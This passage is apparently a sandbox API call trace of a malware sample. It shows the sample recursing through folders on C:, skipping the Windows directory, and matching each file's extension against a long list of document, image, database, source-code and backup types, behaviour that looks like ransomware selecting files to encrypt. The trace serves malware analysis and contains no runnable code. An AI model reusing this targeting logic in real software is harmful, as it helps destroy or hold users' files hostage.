(lpString=".dif") returned 4 [0094.603] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0094.603] lstrlenW (lpString=".divx") returned 5 [0094.603] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0094.603] lstrlenW (lpString=".djvu") returned 5 [0094.603] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0094.603] lstrlenW (lpString=".dng") returned 4 [0094.603] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0094.603] lstrlenW (lpString=".doc") returned 4 [0094.603] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0094.603] lstrlenW (lpString=".docm") returned 5 [0094.603] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0094.603] lstrlenW (lpString=".docx") returned 5 [0094.603] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0094.603] lstrlenW (lpString=".dot") returned 4 [0094.603] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0094.603] lstrlenW (lpString=".dotm") returned 5 [0094.603] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0094.603] lstrlenW (lpString=".dotx") returned 5 [0094.603] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0094.603] lstrlenW (lpString=".dpx") returned 4 [0094.603] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0094.603] lstrlenW (lpString=".dqy") returned 4 [0094.603] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0094.603] lstrlenW (lpString=".dsn") returned 4 [0094.603] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0094.603] lstrlenW (lpString=".dt") returned 3 [0094.603] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0094.604] lstrlenW (lpString=".dtd") returned 4 [0094.604] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0094.604] lstrlenW (lpString=".dwg") returned 4 [0094.604] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0094.604] lstrlenW (lpString=".dwt") returned 4 [0094.604] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0094.604] lstrlenW (lpString=".dx") returned 3 [0094.604] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0094.604] lstrlenW (lpString=".dxf") returned 4 [0094.604] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0094.604] lstrlenW (lpString=".edml") returned 5 [0094.604] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0094.604] lstrlenW (lpString=".efd") returned 4 [0094.604] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0094.604] lstrlenW (lpString=".elf") returned 4 [0094.604] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0094.604] lstrlenW (lpString=".emf") returned 4 [0094.604] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0094.604] lstrlenW (lpString=".emz") returned 4 [0094.604] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0094.604] lstrlenW (lpString=".epf") returned 4 [0094.604] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0094.604] lstrlenW (lpString=".eps") returned 4 [0094.604] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0094.604] lstrlenW (lpString=".epsf") returned 5 [0094.604] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0094.604] lstrlenW (lpString=".epsp") returned 5 [0094.604] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0094.605] lstrlenW (lpString=".erf") returned 4 [0094.605] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0094.605] lstrlenW (lpString=".exr") returned 4 [0094.605] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0094.605] lstrlenW (lpString=".f4v") returned 4 [0094.605] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0094.605] lstrlenW (lpString=".fido") returned 5 [0094.605] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0094.605] lstrlenW (lpString=".flm") returned 4 [0094.605] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0094.605] lstrlenW (lpString=".flv") returned 4 [0094.605] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0094.605] lstrlenW (lpString=".frm") returned 4 [0094.605] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0094.605] FindNextFileW (in: hFindFile=0x3e50480, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0094.605] FindClose (in: hFindFile=0x3e50480 | out: hFindFile=0x3e50480) returned 1 [0094.606] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e61060 | out: hHeap=0x4b0000) returned 1 [0094.606] FindNextFileW (in: hFindFile=0x3e503c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0094.606] FindClose (in: hFindFile=0x3e503c0 | out: hFindFile=0x3e503c0) returned 1 [0094.606] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0094.608] FindNextFileW (in: hFindFile=0x3e50800, lpFindFileData=0x349fcf8 | out: lpFindFileData=0x349fcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77970000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0094.608] FindNextFileW (in: hFindFile=0x3e50800, lpFindFileData=0x349fcf8 | out: lpFindFileData=0x349fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77970000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0094.608] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e61060 [0094.608] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21 [0094.608] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x3e50580 [0094.609] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0094.609] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1 [0094.609] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26 [0094.609] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212\\1025") returned 1 [0094.609] lstrlenW (lpString="1025") returned 4 [0094.609] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1025") returned 1 [0094.609] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38c1270 [0094.610] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26 [0094.610] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xa44745f6, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50700 [0094.610] FindNextFileW (in: hFindFile=0x3e50700, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xa44745f6, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.610] FindNextFileW (in: hFindFile=0x3e50700, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0094.610] lstrlenW (lpString="eula.rtf") returned 8 [0094.610] lstrlenW (lpString=".1cd") returned 4 [0094.610] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0094.610] lstrlenW (lpString=".3ds") returned 4 [0094.610] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0094.610] lstrlenW (lpString=".3fr") returned 4 [0094.610] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0094.610] lstrlenW (lpString=".3g2") returned 4 [0094.610] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0094.610] lstrlenW (lpString=".3gp") returned 4 [0094.611] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0094.611] lstrlenW (lpString=".7z") returned 3 [0094.611] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0094.611] lstrlenW (lpString=".accda") returned 6 [0094.611] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0094.611] lstrlenW (lpString=".accdb") returned 6 [0094.611] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0094.611] lstrlenW (lpString=".accdc") returned 6 [0094.611] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0094.611] lstrlenW (lpString=".accde") returned 6 [0094.611] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0094.611] lstrlenW (lpString=".accdt") returned 6 [0094.611] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0094.611] lstrlenW (lpString=".accdw") returned 6 [0094.611] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0094.611] lstrlenW (lpString=".adb") returned 4 [0094.611] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0094.611] lstrlenW (lpString=".adp") returned 4 [0094.611] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0094.611] lstrlenW (lpString=".ai") returned 3 [0094.611] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0094.611] lstrlenW (lpString=".ai3") returned 4 [0094.611] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0094.611] lstrlenW (lpString=".ai4") returned 4 [0094.611] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0094.611] lstrlenW (lpString=".ai5") returned 4 [0094.612] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0094.612] lstrlenW (lpString=".ai6") returned 4 [0094.612] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0094.612] lstrlenW (lpString=".ai7") returned 4 [0094.612] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0094.612] lstrlenW (lpString=".ai8") returned 4 [0094.612] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0094.612] lstrlenW (lpString=".anim") returned 5 [0094.612] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0094.612] lstrlenW (lpString=".arw") returned 4 [0094.612] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0094.612] lstrlenW (lpString=".as") returned 3 [0094.612] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0094.612] lstrlenW (lpString=".asa") returned 4 [0094.612] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0094.612] lstrlenW (lpString=".asc") returned 4 [0094.612] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0094.612] lstrlenW (lpString=".ascx") returned 5 [0094.612] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0094.612] lstrlenW (lpString=".asm") returned 4 [0094.612] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0094.612] lstrlenW (lpString=".asmx") returned 5 [0094.612] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0094.612] lstrlenW (lpString=".asp") returned 4 [0094.612] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0094.612] lstrlenW (lpString=".aspx") returned 5 [0094.612] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0094.613] lstrlenW (lpString=".asr") returned 4 [0094.613] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0094.613] lstrlenW (lpString=".asx") returned 4 [0094.613] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0094.613] lstrlenW (lpString=".avi") returned 4 [0094.613] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0094.613] lstrlenW (lpString=".avs") returned 4 [0094.613] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0094.613] lstrlenW (lpString=".backup") returned 7 [0094.613] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0094.613] lstrlenW (lpString=".bak") returned 4 [0094.613] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0094.613] lstrlenW (lpString=".bay") returned 4 [0094.613] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0094.613] lstrlenW (lpString=".bd") returned 3 [0094.613] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0094.613] lstrlenW (lpString=".bin") returned 4 [0094.613] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0094.613] lstrlenW (lpString=".bmp") returned 4 [0094.613] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0094.613] lstrlenW (lpString=".bz2") returned 4 [0094.613] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0094.613] lstrlenW (lpString=".c") returned 2 [0094.613] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0094.613] lstrlenW (lpString=".cdr") returned 4 [0094.613] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0094.614] lstrlenW (lpString=".cer") returned 4 [0094.614] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0094.614] lstrlenW (lpString=".cf") returned 3 [0094.614] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0094.614] lstrlenW (lpString=".cfc") returned 4 [0094.614] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0094.614] lstrlenW (lpString=".cfm") returned 4 [0094.614] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0094.614] lstrlenW (lpString=".cfml") returned 5 [0094.614] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0094.614] lstrlenW (lpString=".cfu") returned 4 [0094.614] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0094.614] lstrlenW (lpString=".chm") returned 4 [0094.614] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0094.614] lstrlenW (lpString=".cin") returned 4 [0094.614] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0094.614] lstrlenW (lpString=".class") returned 6 [0094.614] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0094.614] lstrlenW (lpString=".clx") returned 4 [0094.614] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0094.614] lstrlenW (lpString=".config") returned 7 [0094.614] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0094.614] lstrlenW (lpString=".cpp") returned 4 [0094.614] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0094.614] lstrlenW (lpString=".cr2") returned 4 [0094.614] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0094.614] lstrlenW (lpString=".crt") returned 4 [0094.614] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0094.614] lstrlenW (lpString=".crw") returned 4 [0094.615] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0094.615] lstrlenW (lpString=".cs") returned 3 [0094.615] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0094.615] lstrlenW (lpString=".css") returned 4 [0094.615] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0094.615] lstrlenW (lpString=".csv") returned 4 [0094.615] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0094.615] lstrlenW (lpString=".cub") returned 4 [0094.615] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0094.615] lstrlenW (lpString=".dae") returned 4 [0094.615] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0094.615] lstrlenW (lpString=".dat") returned 4 [0094.615] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0094.615] lstrlenW (lpString=".db") returned 3 [0094.615] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0094.615] lstrlenW (lpString=".dbf") returned 4 [0094.615] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0094.615] lstrlenW (lpString=".dbx") returned 4 [0094.615] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0094.615] lstrlenW (lpString=".dc3") returned 4 [0094.615] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0094.615] lstrlenW (lpString=".dcm") returned 4 [0094.615] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0094.615] lstrlenW (lpString=".dcr") returned 4 [0094.615] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0094.615] lstrlenW (lpString=".der") returned 4 [0094.615] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0094.616] lstrlenW (lpString=".dib") returned 4 [0094.616] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0094.616] lstrlenW (lpString=".dic") returned 4 [0094.616] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0094.616] lstrlenW (lpString=".dif") returned 4 [0094.616] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0094.616] lstrlenW (lpString=".divx") returned 5 [0094.616] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0094.616] lstrlenW (lpString=".djvu") returned 5 [0094.616] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0094.616] lstrlenW (lpString=".dng") returned 4 [0094.616] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0094.616] lstrlenW (lpString=".doc") returned 4 [0094.616] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0094.616] lstrlenW (lpString=".docm") returned 5 [0094.616] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0094.616] lstrlenW (lpString=".docx") returned 5 [0094.616] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0094.616] lstrlenW (lpString=".dot") returned 4 [0094.616] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0094.616] lstrlenW (lpString=".dotm") returned 5 [0094.616] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0094.616] lstrlenW (lpString=".dotx") returned 5 [0094.616] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0094.616] lstrlenW (lpString=".dpx") returned 4 [0094.616] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0094.616] lstrlenW (lpString=".dqy") returned 4 [0094.616] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0094.617] lstrlenW (lpString=".dsn") returned 4 [0094.617] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0094.617] lstrlenW (lpString=".dt") returned 3 [0094.617] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0094.617] lstrlenW (lpString=".dtd") returned 4 [0094.617] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0094.617] lstrlenW (lpString=".dwg") returned 4 [0094.617] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0094.617] lstrlenW (lpString=".dwt") returned 4 [0094.617] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0094.617] lstrlenW (lpString=".dx") returned 3 [0094.617] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0094.617] lstrlenW (lpString=".dxf") returned 4 [0094.617] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0094.617] lstrlenW (lpString=".edml") returned 5 [0094.617] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0094.617] lstrlenW (lpString=".efd") returned 4 [0094.617] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0094.617] lstrlenW (lpString=".elf") returned 4 [0094.617] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0094.617] lstrlenW (lpString=".emf") returned 4 [0094.617] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0094.617] lstrlenW (lpString=".emz") returned 4 [0094.617] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0094.617] lstrlenW (lpString=".epf") returned 4 [0094.617] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0094.617] lstrlenW (lpString=".eps") returned 4 [0094.617] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0094.617] lstrlenW (lpString=".epsf") returned 5 [0094.618] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0094.618] lstrlenW (lpString=".epsp") returned 5 [0094.618] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0094.618] lstrlenW (lpString=".erf") returned 4 [0094.618] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0094.618] lstrlenW (lpString=".exr") returned 4 [0094.618] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0094.618] lstrlenW (lpString=".f4v") returned 4 [0094.618] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0094.618] lstrlenW (lpString=".fido") returned 5 [0094.618] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0094.618] lstrlenW (lpString=".flm") returned 4 [0094.618] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0094.618] lstrlenW (lpString=".flv") returned 4 [0094.618] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0094.618] lstrlenW (lpString=".frm") returned 4 [0094.618] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0094.618] lstrlenW (lpString=".fxg") returned 4 [0094.618] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0094.618] lstrlenW (lpString=".geo") returned 4 [0094.618] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0094.618] lstrlenW (lpString=".gif") returned 4 [0094.618] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0094.618] lstrlenW (lpString=".grs") returned 4 [0094.618] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0094.618] lstrlenW (lpString=".gz") returned 3 [0094.618] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0094.618] lstrlenW (lpString=".h") returned 2 [0094.619] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0094.619] lstrlenW (lpString=".hdr") returned 4 [0094.619] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0094.619] lstrlenW (lpString=".hpp") returned 4 [0094.619] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0094.619] lstrlenW (lpString=".hta") returned 4 [0094.619] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0094.619] lstrlenW (lpString=".htc") returned 4 [0094.619] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0094.619] lstrlenW (lpString=".htm") returned 4 [0094.619] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0094.619] lstrlenW (lpString=".html") returned 5 [0094.619] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0094.619] lstrlenW (lpString=".icb") returned 4 [0094.619] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0094.619] lstrlenW (lpString=".ics") returned 4 [0094.619] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0094.619] lstrlenW (lpString=".iff") returned 4 [0094.619] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0094.619] lstrlenW (lpString=".inc") returned 4 [0094.619] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0094.619] lstrlenW (lpString=".indd") returned 5 [0094.619] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0094.619] lstrlenW (lpString=".ini") returned 4 [0094.619] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0094.619] lstrlenW (lpString=".iqy") returned 4 [0094.620] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0094.620] lstrlenW (lpString=".j2c") returned 4 [0094.620] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0094.620] lstrlenW (lpString=".j2k") returned 4 [0094.620] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0094.620] lstrlenW (lpString=".java") returned 5 [0094.620] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0094.620] lstrlenW (lpString=".jp2") returned 4 [0094.620] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0094.620] lstrlenW (lpString=".jpc") returned 4 [0094.620] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0094.620] lstrlenW (lpString=".jpe") returned 4 [0094.620] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0094.620] lstrlenW (lpString=".jpeg") returned 5 [0094.620] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0094.620] lstrlenW (lpString=".jpf") 